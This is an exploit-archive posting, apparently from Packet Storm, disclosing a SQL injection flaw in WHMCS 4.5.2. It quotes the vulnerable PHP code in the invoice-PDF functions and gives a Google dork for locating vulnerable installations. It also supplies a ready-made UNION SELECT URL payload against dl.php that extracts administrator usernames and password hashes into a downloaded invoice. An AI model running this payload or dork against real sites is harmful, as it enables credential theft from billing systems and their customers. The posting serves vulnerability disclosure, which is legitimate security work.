exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WHMCS 4.5.2 SQL Injection

WHMCS 4.5.2 SQL Injection
Posted May 14, 2013
Authored by Ahmed Aboul-Ela

WHMCS version 4.5.2 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 157cbb660d1d85c77b3a38c0c0bf3c21d9875acd83168e26264664cd19fa1450

WHMCS 4.5.2 SQL Injection

Change Mirror Download
# Title: WHMCS 4.x SQL Injection Vulnerability 
# Google Dork: intext:"Powered by WHMCompleteSolution" OR inurl:"submitticket.php‎"‎
# Author: Ahmed Aboul-Ela
# Contact: Ahmed.Aboul3la[at]gmail[dot]com
# Date: 14/5/2013
# Vendor: http://www.whmcs.com
# Version: 4.5.2 and perior versions should be affected too
# Tested on: Linux

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sql Injection Vulnerability in "/includes/invoicefunctions.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- Vulnerable Code Snippet :

LINE 582: function pdfInvoice($id)
LINE 583: {
LINE 686: if ($CONFIG['GroupSimilarLineItems'])
LINE 687: {
LINE 688: $result = full_query('' . 'SELECT COUNT(*),id,type,relid,description,amount,taxed FROM tblinvoiceitems WHERE invoiceid=' . $id . ' GROUP BY `description`,`amount` ORDER BY id ASC');
LINE 689: }

As we can see here the $id argument of pdfInvoice function have been used directly at mysql query without any sanitization which leads directly to Sql Injection
It appears that pdfInvoice function is being called at "/dl.php" file as the following:


LINE 21: if ($type == 'i')
LINE 22: {
LINE 23: $result = select_query('tblinvoices', '', array(
LINE 24: 'id' => $id
LINE 25: ));
LINE 26: $data = mysql_fetch_array($result);
LINE 27: $invoiceid = $data['id'];
LINE 28: $invoicenum = $data['invoicenum'];
LINE 29: $userid = $data['userid'];
LINE 30: if ((!$_SESSION['adminid'] && $_SESSION['uid'] != $userid))
LINE 31: {
LINE 32: downloadLogin();
LINE 33: }
LINE 34: if (!$invoicenum)
LINE 35: {
LINE 36: $invoicenum = $invoiceid;
LINE 37: }
LINE 38: require('includes/clientfunctions.php');
LINE 39: require('includes/countries.php');
LINE 40: require('includes/invoicefunctions.php');
LINE 41: require('includes/tcpdf.php');
LINE 42: $pdfdata = pdfInvoice($id);
LINE 43: header('Pragma: public');
LINE 44: header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
LINE 45: header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
LINE 46: header('Cache-Control: must-revalidate, post-check=0, pre-check=0, private');
LINE 47: header('Cache-Control: private', false);
LINE 48: header('Content-Type: application/octet-stream');
LINE 49: header('Content-Disposition: attachment; filename="' . $invoicenum . '.pdf"');
LINE 50: header('Content-Transfer-Encoding: binary');
LINE 51: echo $pdfdata;
LINE 52: exit();
LINE 53: return 1;
LINE 54: }


As we can see at LINE "42" the pdfInvoice function have been called and passed $id Variable without any sanitization
Afterwards it force the browser to download the generated invoice in PDF format

- Proof of Concept for Exploitation

To Dump Administrator Credentials (user & pass):

http://www.site.com/whmcs/dl.php?type=i&id=1 and 0x0=0x1 union select 1,2,3,4,CONCAT(username,0x3a3a3a,password),6,7 from tbladmins --

~ Result: The Browser will prompt download for the pdf invoice file after opening it you should find the username and pw hash there :)

- Precondition to Successfully Exploit the Vulnerability:

"Group Similar Line Items" Option should be Enabled at the Invoices Settings in the WHMCS Admin ( It should be Enabled by default )

- Credits:

Ahmed Aboul-Ela - Information Security Consultant @ Starware Group
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close